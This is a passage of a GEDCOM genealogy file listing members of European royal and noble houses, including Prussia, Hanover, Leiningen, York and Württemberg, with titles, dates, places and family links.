+1 NAME Franz Wilhelm of_Prussia//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE ABT    1943
+1 FAMS @F345@
+0 @I901@ INDI
+1 NAME George of_Russia //
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1981
+2 PLAC ,,Spain
+1 FAMC @F345@
+0 @I902@ INDI
+1 NAME Karl of_Leiningen //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1898
+1 DEAT
+2 DATE        1946
+1 FAMS @F346@
+0 @I903@ INDI
+1 NAME Emich of_Leiningen //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1926
+1 FAMS @F347@
+1 FAMC @F346@
+0 @I904@ INDI
+1 NAME Karl of_Leiningen //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1928
+1 FAMC @F346@
+0 @I905@ INDI
+1 NAME Margarita  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1932
+1 FAMC @F346@
+0 @I906@ INDI
+1 NAME Mechtilde  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1936
+1 FAMS @F350@
+1 FAMC @F346@
+0 @I907@ INDI
+1 NAME Friedrich of_Leiningen //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1938
+1 FAMC @F346@
+0 @I908@ INDI
+1 NAME Eilika of_Oldenberg //
+1 TITL Duchess
+1 SEX F
+1 FAMS @F347@
+0 @I909@ INDI
+1 NAME Melita  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1951
+1 FAMC @F347@
+0 @I910@ INDI
+1 NAME Karl  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1952
+1 FAMS @F348@
+1 FAMC @F347@
+0 @I911@ INDI
+1 NAME Andreas  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1955
+1 FAMS @F349@
+1 FAMC @F347@
+0 @I912@ INDI
+1 NAME Stephanie  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1958
+1 FAMC @F347@
+0 @I913@ INDI
+1 NAME Margarite of_Hohenloche- Ochringen//
+1 TITL Princess
+1 SEX F
+1 FAMS @F348@
+0 @I914@ INDI
+1 NAME Alexandra of_Hanover //
+1 TITL Princess
+1 SEX F
+1 FAMS @F349@
+0 @I915@ INDI
+1 NAME Ferdinand  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1982
+1 FAMC @F349@
+0 @I916@ INDI
+1 NAME Karl  /Bauscher/
+1 SEX M
+1 FAMS @F350@
+0 @I917@ INDI
+1 NAME Ulf  /Bauscher/
+1 SEX M
+1 BIRT
+2 DATE        1963
+1 FAMC @F350@
+0 @I918@ INDI
+1 NAME Berthold  /Bauscher/
+1 SEX M
+1 BIRT
+2 DATE        1965
+1 FAMC @F350@
+0 @I919@ INDI
+1 NAME Johan  /Bauscher/
+1 SEX M
+1 BIRT
+2 DATE        1971
+1 FAMC @F350@
+0 @I920@ INDI
+1 NAME Anne of_Austria //
+1 SEX F
+1 BIRT
+2 DATE        1601
+1 DEAT
+2 DATE        1666
+1 FAMS @F521@
+1 FAMC @F522@
+0 @I921@ INDI
+1 NAME Friedrich Wilhelm of_Prussia//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1939
+1 FAMS @F355@
+1 FAMS @F356@
+1 FAMC @F188@
+0 @I922@ INDI
+1 NAME Michael of_Prussia //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1939
+1 FAMS @F354@
+1 FAMC @F188@
+0 @I923@ INDI
+1 NAME Marie-Cecile of_Prussia //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1942
+1 FAMC @F188@
+0 @I924@ INDI
+1 NAME Louis Ferdinand of_Prussia//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1944
+1 DEAT
+2 DATE        1977
+1 FAMS @F353@
+1 FAMC @F188@
+0 @I925@ INDI
+1 NAME Christian Sigismund of_Prussia//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1946
+1 FAMS @F352@
+1 FAMC @F188@
+0 @I926@ INDI
+1 NAME Nina zu_Reventlow //
+1 TITL Countess
+1 SEX F
+1 FAMS @F352@
+0 @I927@ INDI
+1 NAME Daughter  //
+1 SEX F
+1 FAMC @F352@
+0 @I928@ INDI
+1 NAME Donata of_Castell- Rudenhausen//
+1 SEX F
+1 FAMS @F353@
+0 @I929@ INDI
+1 NAME Georg Friedrich //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1976
+1 FAMC @F353@
+0 @I930@ INDI
+1 NAME Corneilie-Cecile  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1978
+1 FAMC @F353@
+0 @I931@ INDI
+1 NAME Jutta  /Jorn/
+1 SEX F
+1 FAMS @F354@
+0 @I932@ INDI
+1 NAME Micaela  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1967
+1 FAMC @F354@
+0 @I933@ INDI
+1 NAME Nataly  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1970
+1 FAMC @F354@
+0 @I934@ INDI
+1 NAME Waltraud  /Freydag/
+1 SEX F
+1 FAMS @F355@
+0 @I935@ INDI
+1 NAME Philip  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1968
+1 FAMC @F355@
+0 @I936@ INDI
+1 NAME Ehrengard  /von_Reden/
+1 SEX F
+1 FAMS @F356@
+0 @I937@ INDI
+1 NAME Friedrich  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1979
+1 FAMC @F356@
+0 @I938@ INDI
+1 NAME Viktoria  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1982
+1 FAMC @F356@
+0 @I939@ INDI
+1 NAME Joachim  //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1984
+1 FAMC @F356@
+0 @I940@ INDI
+1 NAME Margaret  /Messenger/
+1 SEX F
+1 FAMS @F357@
+0 @I941@ INDI
+1 NAME Emily  //
+1 TITL Hon.
+1 SEX F
+1 BIRT
+2 DATE        1976
+1 FAMC @F357@
+0 @I942@ INDI
+1 NAME Benjamin  //
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1978
+1 FAMC @F357@
+0 @I943@ INDI
+1 NAME Alexander  /Lascelles/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1980
+1 FAMC @F357@
+0 @I944@ INDI
+1 NAME Edward  /Lascelles/
+1 SEX M
+1 BIRT
+2 DATE        1982
+1 FAMC @F357@
+0 @I945@ INDI
+1 NAME Fredericka Ann /Duhrrson/
+1 SEX F
+1 FAMS @F358@
+0 @I946@ INDI
+1 NAME Sophie  /Lascelles/
+1 SEX F
+1 BIRT
+2 DATE        1973
+1 FAMC @F358@
+0 @I947@ INDI
+1 NAME Rowan  /Lascelles/
+1 SEX M
+1 BIRT
+2 DATE        1977
+1 FAMC @F358@
+0 @I948@ INDI
+1 NAME Julie  /Bayliss/
+1 SEX F
+1 FAMS @F359@
+0 @I949@ INDI
+1 NAME Thomas  /Lascelles/
+1 SEX M
+1 BIRT
+2 DATE        1982
+1 FAMC @F359@
+0 @I950@ INDI
+1 NAME Ellen  /Lascelles/
+1 SEX F
+1 BIRT
+2 DATE        1984
+1 FAMC @F359@
+0 @I951@ INDI
+1 NAME Marie Louise //
+1 SEX F
+1 BIRT
+2 DATE        1662
+1 DEAT
+2 DATE        1689
+1 FAMS @F946@
+1 FAMC @F272@
+0 @I952@ INDI
+1 NAME Maud  /Carnegie/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1893
+1 DEAT
+2 DATE        1945
+1 FAMS @F360@
+1 FAMC @F29@
+0 @I953@ INDI
+1 NAME Charles of_Southesk //
+1 TITL Earl XI
+1 SEX M
+1 BIRT
+2 DATE        1893
+1 FAMS @F360@
+0 @I954@ INDI
+1 NAME James George Alexander/Carnegie/
+1 TITL Duke of Fife
+1 SEX M
+1 BIRT
+2 DATE        1929
+1 FAMS @F361@
+1 FAMC @F360@
+0 @I955@ INDI
+1 NAME Caroline  /Dewar/
+1 TITL Hon.
+1 SEX F
+1 FAMS @F361@
+0 @I956@ INDI
+1 NAME Alexandra  /Carnegie/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1959
+1 FAMC @F361@
+0 @I957@ INDI
+1 NAME David Charles /Carnegie/
+1 TITL Earl of Macduff
+1 SEX M
+1 BIRT
+2 DATE        1961
+1 FAMC @F361@
+0 @I958@ INDI
+1 NAME Ragnhild Alexandra //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1930
+2 PLAC Oslo,Norway
+1 FAMS @F363@
+1 FAMC @F153@
+0 @I959@ INDI
+1 NAME Astrid Maud Ingeborg//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1932
+1 FAMS @F362@
+1 FAMC @F153@
+0 @I960@ INDI
+1 NAME Johan Martin /Ferner/
+1 SEX M
+1 BIRT
+2 DATE        1927
+1 FAMS @F362@
+0 @I961@ INDI
+1 NAME Cathrine  /Ferner/
+1 SEX F
+1 BIRT
+2 DATE        1962
+1 FAMC @F362@
+0 @I962@ INDI
+1 NAME Benedickte  /Ferner/
+1 SEX M
+1 BIRT
+2 DATE        1963
+1 FAMC @F362@
+0 @I963@ INDI
+1 NAME Alexander  /Ferner/
+1 SEX M
+1 BIRT
+2 DATE        1965
+1 FAMC @F362@
+0 @I964@ INDI
+1 NAME Elisabeth  /Ferner/
+1 SEX F
+1 BIRT
+2 DATE        1969
+1 FAMC @F362@
+0 @I965@ INDI
+1 NAME Carl Christian /Ferner/
+1 SEX M
+1 BIRT
+2 DATE        1972
+1 FAMC @F362@
+0 @I966@ INDI
+1 NAME Erling  /Lorentzen/
+1 SEX M
+1 FAMS @F363@
+0 @I967@ INDI
+1 NAME Haakon  /Lorentzen/
+1 SEX M
+1 FAMC @F363@
+0 @I968@ INDI
+1 NAME Ingeborg  /Lorentzen/
+1 SEX F
+1 FAMC @F363@
+0 @I969@ INDI
+1 NAME Ragnhild Alexandra /Lorentzen/
+1 SEX F
+1 BIRT
+2 DATE        1968
+2 PLAC ,,Brazil
+1 FAMC @F363@
+0 @I970@ INDI
+1 NAME Anne of_Bourbon-Parma //
+1 TITL Princess
+1 SEX F
+0 @I971@ INDI
+1 NAME Joana Maria Valentina/Lambrino/
+1 SEX F
+1 BIRT
+2 DATE  3 OCT 1898
+2 PLAC Roman,Romania
+1 DEAT
+2 DATE 11 MAR 1953
+2 PLAC Paris,France
+1 FAMS @F364@
+1 FAMC @F400@
+0 @I972@ INDI
+1 NAME Margarita of_Romania //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1949
+2 PLAC Lausanne
+1 FAMC @F161@
+0 @I973@ INDI
+1 NAME Helen of_Romania //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1950
+2 PLAC Lausanne
+1 FAMS @F365@
+1 FAMC @F161@
+0 @I974@ INDI
+1 NAME Irina  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1953
+2 PLAC Lausanne
+1 FAMS @F366@
+1 FAMC @F161@
+0 @I975@ INDI
+1 NAME Sophie  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1957
+1 FAMC @F161@
+0 @I976@ INDI
+1 NAME Maria  //
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE        1964
+1 FAMC @F161@
+0 @I977@ INDI
+1 NAME Robin  /Medforth-Mills/
+1 TITL Professor
+1 SEX M
+1 FAMS @F365@
+0 @I978@ INDI
+1 NAME Nicholas  /Medforth-Mills/
+1 SEX M
+1 BIRT
+2 DATE        1985
+1 FAMC @F365@
+0 @I979@ INDI
+1 NAME John  /Kreuger/
+1 SEX M
+1 FAMS @F366@
+0 @I980@ INDI
+1 NAME Michael  /Kreuger/
+1 SEX M
+1 BIRT
+2 DATE        1985
+1 FAMC @F366@
+0 @I981@ INDI
+1 NAME William  /Worsley/
+1 TITL Sir
+1 SEX M
+1 FAMS @F367@
+0 @I982@ INDI
+1 NAME Martin  /Lascelles/
+1 SEX M
+1 BIRT
+2 DATE        1963
+1 FAMC @F102@
+0 @I983@ INDI
+1 NAME Alexandra  /Morton/
+1 SEX F
+1 FAMS @F368@
+0 @I984@ INDI
+1 NAME Richard_III  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  2 OCT 1452
+2 PLAC Fotheringay,Castle
+1 DEAT
+2 DATE 22 AUG 1485
+2 PLAC Bosworth
+1 BURI
+2 PLAC Grey Friars,Abbey,Leicester
+1 FAMS @F369@
+1 FAMC @F371@
+0 @I985@ INDI
+1 NAME Anne  /Nevill/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE 11 JUN 1456
+2 PLAC Warwick Castle,Warwick,England
+1 DEAT
+2 DATE 16 MAR 1485
+2 PLAC Westminster,Palace,London,England
+1 BURI
+2 PLAC Westminster,Abbey,London,England
+1 FAMS @F380@
+1 FAMS @F369@
+1 FAMC @F370@
+0 @I986@ INDI
+1 NAME Edward  //
+1 TITL Prince of Wales
+1 SEX M
+1 BIRT
+2 DATE ABT    DEC 1473
+2 PLAC Middleham Castle,Yorkshire,England
+1 DEAT
+2 DATE  9 APR 1484
+2 PLAC Middleham Castle,Yorkshire,England
+1 FAMC @F369@
+0 @I987@ INDI
+1 NAME Richard  /Neville/
+1 TITL Earl of Warwick
+1 SEX M
+1 DEAT
+2 DATE        1471
+1 FAMS @F370@
+1 FAMC @F490@
+0 @I988@ INDI
+1 NAME Richard  /Plantagenet/
+1 TITL Duke of York
+1 SEX M
+1 DEAT
+2 DATE        1460
+1 FAMS @F371@
+1 FAMC @F385@
+0 @I989@ INDI
+1 NAME Cicely  /Nevill/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1495
+1 FAMS @F371@
+1 FAMC @F372@
+0 @I990@ INDI
+1 NAME Ralph of_Westmoreland 1st//
+1 TITL Earl
+1 SEX M
+1 FAMS @F372@
+0 @I991@ INDI
+1 NAME Edward_IV  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE 28 APR 1442
+2 PLAC Rouen,France
+1 DEAT
+2 DATE  9 APR 1483
+2 PLAC Westminster,Palace,London,England
+1 BURI
+2 PLAC St. George Chap.,Windsor,England
+1 FAMS @F373@
+1 FAMC @F371@
+0 @I992@ INDI
+1 NAME Edmund  //
+1 TITL Earl of Rutland
+1 SEX M
+1 DEAT
+2 DATE        1460
+1 FAMC @F371@
+0 @I993@ INDI
+1 NAME George  //
+1 TITL Duke of Clarence
+1 SEX M
+1 FAMS @F381@
+1 FAMC @F371@
+0 @I994@ INDI
+1 NAME Anne  //
+1 SEX F
+1 DEAT
+2 DATE        1476
+1 FAMS @F382@
+1 FAMS @F383@
+1 FAMC @F371@
+0 @I995@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 DEAT
+2 DATE        1503
+1 FAMS @F1056@
+1 FAMC @F371@
+0 @I996@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 FAMS @F384@
+1 FAMC @F371@
+0 @I997@ INDI
+1 NAME Ursula  //
+1 SEX F
+1 FAMC @F371@
+0 @I998@ INDI
+1 NAME Elizabeth  /Woodville/
+1 SEX F
+1 BIRT
+2 DATE ABT    1437
+2 PLAC Grafton Regis,Northants
+1 DEAT
+2 DATE  8 JUN 1492
+2 PLAC Bermondsey Abbey
+1 BURI
+2 PLAC St. George Chap.,Windsor,England
+1 FAMS @F379@
+1 FAMS @F373@
+1 FAMC @F1051@
+0 @I999@ INDI
+1 NAME Mary  //
+1 SEX F
+1 BIRT
+2 DATE    AUG 1466
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE 23 MAY 1482
+2 PLAC Greenwich,,England
+1 FAMC @F373@
+0 @I1000@ INDI
+1 NAME Cicely  //
+1 SEX F
+1 BIRT
+2 DATE 20 MAR 1469
+1 DEAT
+2 DATE 24 AUG 1507
+2 PLAC Quarr Abbey,Isle of Wight,England
+1 FAMS @F374@
+1 FAMS @F375@
+1 FAMC @F373@
+0 @I1001@ INDI
+1 NAME Edward_V  //
+1 TITL King of England
+1 SEX M
+1 BIRT
+2 DATE  4 NOV 1470
+2 PLAC Sanctuary,Westminster,England
+1 DEAT
+2 DATE        1483
+1 FAMC @F373@
+0 @I1002@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 BIRT
+2 DATE 10 APR 1472
+1 DEAT
+2 DATE 11 DEC 1472
+1 FAMC @F373@
+0 @I1003@ INDI
+1 NAME Richard  //
+1 TITL Duke of York
+1 SEX M
+1 BIRT
+2 DATE 17 AUG 1473
+2 PLAC Shrewsbury
+1 DEAT
+2 DATE AFT    1483
+1 FAMS @F376@
+1 FAMC @F373@
+0 @I1004@ INDI
+1 NAME Anne  //
+1 SEX F
+1 BIRT
+2 DATE  2 NOV 1475
+2 PLAC Westminster,Palace
+1 DEAT
+2 DATE 23 NOV 1511
+1 FAMS @F377@
+1 FAMC @F373@
+0 @I1005@ INDI
+1 NAME George  //
+1 TITL Duke of Bedford
+1 SEX M
+1 BIRT
+2 DATE    MAR 1477
+2 PLAC Windsor Castle,Berkshire,England
+1 DEAT
+2 DATE    MAR 1479
+2 PLAC Windsor Castle,Berkshire,England
+1 FAMC @F373@
+0 @I1006@ INDI
+1 NAME Catherine  //
+1 SEX F
+1 BIRT
+2 DATE ABT 14 AUG 1479
+2 PLAC Eltham Palace
+1 DEAT
+2 DATE 15 NOV 1527
+2 PLAC Tiverton
+1 FAMS @F378@
+1 FAMC @F373@
+0 @I1007@ INDI
+1 NAME Bridget  //
+1 SEX F
+1 BIRT
+2 DATE 10 NOV 1480
+2 PLAC Eltham Palace
+1 DEAT
+2 DATE        1517
+2 PLAC Dartford
+1 FAMC @F373@
+0 @I1008@ INDI
+1 NAME John 1st /Welles/
+1 TITL Viscount Welles
+1 SEX M
+1 DEAT
+2 DATE  9 FEB 1499
+2 PLAC London,,England
+1 FAMS @F374@
+0 @I1009@ INDI
+1 NAME Thomas of_Isle_of_Wight /Kyme/
+1 SEX M
+1 FAMS @F375@
+0 @I1010@ INDI
+1 NAME Anne  /Mowbray/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE 19 NOV 1481
+2 PLAC Greenwich,,England
+1 FAMS @F376@
+0 @I1011@ INDI
+1 NAME Thomas 3rd /Howard/
+1 TITL Duke of Norfolk
+1 SEX M
+1 FAMS @F377@
+0 @I1012@ INDI
+1 NAME William  /Courtenay/
+1 TITL Earl of Devon
+1 SEX M
+1 FAMS @F378@
+0 @I1013@ INDI
+1 NAME John  /Grey/
+1 TITL Sir
+1 SEX M
+1 DEAT
+2 DATE 17 FEB 1461
+1 FAMS @F379@
+0 @I1014@ INDI
+1 NAME Son  /Grey/
+1 SEX M
+1 BIRT
+2 DATE BEF    1461
+1 FAMC @F379@
+0 @I1015@ INDI
+1 NAME Son_2  /Grey/
+1 SEX M
+1 BIRT
+2 DATE BEF    1461
+1 FAMC @F379@
+0 @I1016@ INDI
+1 NAME Edward  //
+1 TITL Prince of Wales
+1 SEX M
+1 BIRT
+2 DATE 13 OCT 1453
+2 PLAC Westminster,Palace,England
+1 DEAT
+2 DATE  4 MAY 1471
+2 PLAC Tewkesbury
+1 FAMS @F380@
+1 FAMC @F448@
+0 @I1017@ INDI
+1 NAME Margaret of_Austria //
+1 SEX F
+1 BIRT
+2 DATE        1584
+1 DEAT
+2 DATE        1611
+1 FAMS @F522@
+1 FAMC @F1351@
+0 @I1018@ INDI
+1 NAME Edward  //
+1 TITL Earl of Warwick
+1 SEX M
+1 DEAT
+2 DATE        1499
+1 FAMC @F381@
+0 @I1019@ INDI
+1 NAME Margaret of_Salisbury //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE ABT    1469
+1 DEAT
+2 DATE        1541
+1 FAMS @F1055@
+1 FAMC @F381@
+0 @I1020@ INDI
+1 NAME Henry  //
+1 TITL Duke of Exeter
+1 SEX M
+1 FAMS @F382@
+0 @I1021@ INDI
+1 NAME Thomas  /St._Leger/
+1 TITL Sir
+1 SEX M
+1 FAMS @F383@
+0 @I1022@ INDI
+1 NAME Charles the_Bold //
+1 TITL Duke of Burgundy
+1 SEX M
+1 FAMS @F384@
+0 @I1023@ INDI
+1 NAME Richard of_Cambridge /Plantagenet/
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1415
+1 FAMS @F385@
+1 FAMS @F535@
+1 FAMC @F488@
+0 @I1024@ INDI
+1 NAME Anne  /Mortimer/
+1 TITL Lady
+1 SEX F
+1 FAMS @F385@
+1 FAMC @F492@
+0 @I1025@ INDI
+1 NAME Isabel  /Plantagenet/
+1 SEX F
+1 DEAT
+2 DATE        1484
+1 FAMS @F1053@
+1 FAMS @F386@
+1 FAMC @F385@
+0 @I1026@ INDI
+1 NAME Henry 1st /Bourchier/
+1 TITL Earl of Essex
+1 SEX M
+1 FAMS @F386@
+1 FAMC @F621@
+0 @I1027@ INDI
+1 NAME Charles_XV  //
+1 TITL King of Sweden
+1 SEX M
+1 BIRT
+2 DATE  3 MAY 1826
+2 PLAC Stockholm,Sweden
+1 DEAT
+2 DATE 19 AUG 1872
+2 PLAC Malmo
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F387@
+1 FAMC @F627@
+0 @I1028@ INDI
+1 NAME Louise  //
+1 SEX F
+1 BIRT
+2 DATE  5 AUG 1828
+2 PLAC The Hague
+1 DEAT
+2 DATE 30 MAR 1871
+2 PLAC Stockholm,Sweden
+1 BURI
+2 PLAC Stockholm,Sweden
+1 FAMS @F387@
+1 FAMC @F388@
+0 @I1029@ INDI
+1 NAME Louisa of_Prussia //
+1 SEX F
+1 BIRT
+2 DATE        1808
+1 DEAT
+2 DATE        1870
+1 FAMS @F388@
+1 FAMC @F145@
+0 @I1030@ INDI
+1 NAME Ernest Augustus of_Hanover/Hanover/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1914
+1 DEAT
+2 DATE        1987
+1 FAMS @F392@
+1 FAMC @F198@
+0 @I1031@ INDI
+1 NAME George William /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1915
+1 FAMS @F391@
+1 FAMC @F198@
+0 @I1032@ INDI
+1 NAME Mireille  /Dutry/
+1 SEX F
+1 BIRT
+2 DATE        1946
+1 FAMS @F389@
+0 @I1033@ INDI
+1 NAME Christian  /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1919
+1 DEAT
+2 DATE        1981
+1 FAMS @F389@
+1 FAMC @F198@
+0 @I1034@ INDI
+1 NAME Guelph Henry /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1923
+1 FAMS @F390@
+1 FAMC @F198@
+0 @I1035@ INDI
+1 NAME Monika of_Solms-Laubach /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1929
+1 FAMC @F198@
+0 @I1036@ INDI
+1 NAME Alexandra of_Ysenburg_and Budingen//
+1 SEX F
+1 BIRT
+2 DATE        1938
+1 FAMS @F390@
+0 @I1037@ INDI
+1 NAME Sophie of_Greece //
+1 SEX F
+1 BIRT
+2 DATE        1914
+1 FAMS @F391@
+0 @I1038@ INDI
+1 NAME Ortrud of_Schleswig- Holstein//
+1 SEX F
+1 BIRT
+2 DATE        1925
+1 DEAT
+2 DATE        1980
+1 FAMS @F392@
+0 @I1039@ INDI
+1 NAME Marie  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1952
+1 FAMS @F393@
+1 FAMC @F392@
+0 @I1040@ INDI
+1 NAME Ernest Augustus of_Hanover/Hanover/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1954
+1 FAMS @F394@
+1 FAMC @F392@
+0 @I1041@ INDI
+1 NAME Ludwig Rudolph /Hanover/
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE 28 NOV 1955
+1 DEAT
+2 DATE 29 NOV 1989
+1 BURI
+2 DATE  2 DEC 1989
+2 PLAC Grunau,Austria
+1 FAMS @F395@
+1 FAMC @F392@
+0 @I1042@ INDI
+1 NAME Olga  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1958
+1 FAMC @F392@
+0 @I1043@ INDI
+1 NAME Alexandra  /Hanover/
+1 SEX F
+1 BIRT
+2 DATE        1959
+1 FAMS @F396@
+1 FAMC @F392@
+0 @I1044@ INDI
+1 NAME Heinrich Julius /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1961
+1 FAMC @F392@
+0 @I1045@ INDI
+1 NAME Michael  /von_Hochberg/
+1 TITL Count
+1 SEX M
+1 FAMS @F393@
+0 @I1046@ INDI
+1 NAME Chantal  /Hochuli/
+1 SEX F
+1 BIRT
+2 PLAC ,Switzerland
+1 FAMS @F394@
+0 @I1047@ INDI
+1 NAME Ernest Augustus /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1983
+1 FAMC @F394@
+0 @I1048@ INDI
+1 NAME Christian Heinrich /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1985
+1 FAMC @F394@
+0 @I1049@ INDI
+1 NAME Isabella Valsassina /von_Thurn/
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1962
+1 DEAT
+2 DATE 29 NOV 1989
+1 BURI
+2 DATE  2 DEC 1989
+2 PLAC Grunau,Austria
+1 FAMS @F395@
+0 @I1050@ INDI
+1 NAME Otto  /Hanover/
+1 SEX M
+1 BIRT
+2 DATE        1988
+1 FAMC @F395@
+0 @I1051@ INDI
+1 NAME Andreas of_Leiningen //
+1 TITL Prince
+1 SEX M
+1 FAMS @F396@
+0 @I1052@ INDI
+1 NAME Max of_Baden //
+1 TITL Prince
+1 SEX M
+1 FAMS @F397@
+0 @I1053@ INDI
+1 NAME Frederick Francis_IV of_Mecklenburg//
+1 TITL Grand Duke
+1 SEX M
+1 FAMS @F398@
+0 @I1054@ INDI
+1 NAME Margrethe of_Denmark //
+1 SEX F
+1 FAMS @F399@
+0 @I1055@ INDI
+1 NAME Constantine  /Lambrino/
+1 TITL Col.
+1 SEX M
+1 FAMS @F400@
+0 @I1056@ INDI
+1 NAME Euphrosine  /Alcaz/
+1 SEX F
+1 FAMS @F400@
+0 @I1057@ INDI
+1 NAME Son  /Hohenzollern/
+1 SEX M
+1 FAMC @F364@
+0 @I1058@ INDI
+1 NAME Elena (Magda) /Lupescu/
+1 SEX F
+1 BIRT
+2 DATE 15 SEP 1895
+2 PLAC Jassy
+1 DEAT
+2 DATE 28 JUN 1977
+2 PLAC Estoril,Portugal
+1 FAMS @F401@
+0 @I1059@ INDI
+1 NAME Ingrid Victoria of_Sweden//
+1 TITL Princess
+1 SEX F
+1 BIRT
+2 DATE 28 MAR 1910
+2 PLAC Stockholm
+1 FAMS @F402@
+1 FAMC @F35@
+0 @I1060@ INDI
+1 NAME Paul of_Sparta /Oldenburg/
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1967
+1 FAMC @F163@
+0 @I1061@ INDI
+1 NAME Nicholas  /Oldenburg/
+1 SEX M
+1 BIRT
+2 DATE        1969
+1 FAMC @F163@
+0 @I1062@ INDI
+1 NAME   /Oldenburg/
+1 SEX F
+1 FAMC @F163@
+0 @I1063@ INDI
+1 NAME   /Oldenburg/
+1 SEX F
+1 FAMC @F163@
+0 @I1064@ INDI
+1 NAME Irene of_Greece /Oldenburg/
+1 TITL Crown Princess
+1 SEX F
+1 BIRT
+2 DATE        1942
+1 FAMC @F162@
+0 @I1065@ INDI
+1 NAME Petros  /Manos/
+1 TITL Col.
+1 SEX M
+1 FAMS @F403@
+0 @I1066@ INDI
+1 NAME Maria  /Argyropoulos/
+1 SEX F
+1 FAMS @F403@
+0 @I1067@ INDI
+1 NAME Frederick Eugene /Wurttemberg/
+1 SEX M
+1 BIRT
+2 DATE        1732
+1 DEAT
+2 DATE        1797
+1 FAMS @F404@
+0 @I1068@ INDI
+1 NAME Frederica of_Brandenburg- Schwedt//
+1 SEX F
+1 BIRT
+2 DATE        1736
+1 DEAT
+2 DATE        1798
+1 FAMS @F404@
+0 @I1069@ INDI
+1 NAME Augusta of_Brunswick //
+1 SEX F
+1 BIRT
+2 DATE        1764
+1 DEAT
+2 DATE        1788
+1 FAMS @F405@
+0 @I1070@ INDI
+1 NAME William_I of_Wurttemberg /Wurttemberg/
+1 TITL King
+1 SEX M
+1 BIRT
+2 DATE        1781
+1 DEAT
+2 DATE        1864
+1 FAMS @F406@
+1 FAMS @F407@
+1 FAMS @F408@
+1 FAMC @F405@
+0 @I1071@ INDI
+1 NAME Catherine  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1783
+1 DEAT
+2 DATE        1835
+1 FAMC @F405@
+0 @I1072@ INDI
+1 NAME Sophia Dorothea /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1783
+1 DEAT
+2 DATE        1784
+1 FAMC @F405@
+0 @I1073@ INDI
+1 NAME Paul  /Wurttemberg/
+1 SEX M
+1 BIRT
+2 DATE        1785
+1 DEAT
+2 DATE        1852
+1 FAMS @F411@
+1 FAMC @F405@
+0 @I1074@ INDI
+1 NAME Charlotte of_Bavaria /Wittelsbach/
+1 SEX F
+1 BIRT
+2 DATE        1792
+1 DEAT
+2 DATE        1873
+1 FAMS @F406@
+1 FAMC @F431@
+0 @I1075@ INDI
+1 NAME Catherine of_Russia //
+1 TITL Grand Duchess
+1 SEX F
+1 BIRT
+2 DATE        1788
+1 DEAT
+2 DATE        1819
+1 FAMS @F407@
+0 @I1076@ INDI
+1 NAME Marie  /Wurttemberg/
+1 SEX F
+1 BIRT
+2 DATE        1816
+1 DEAT
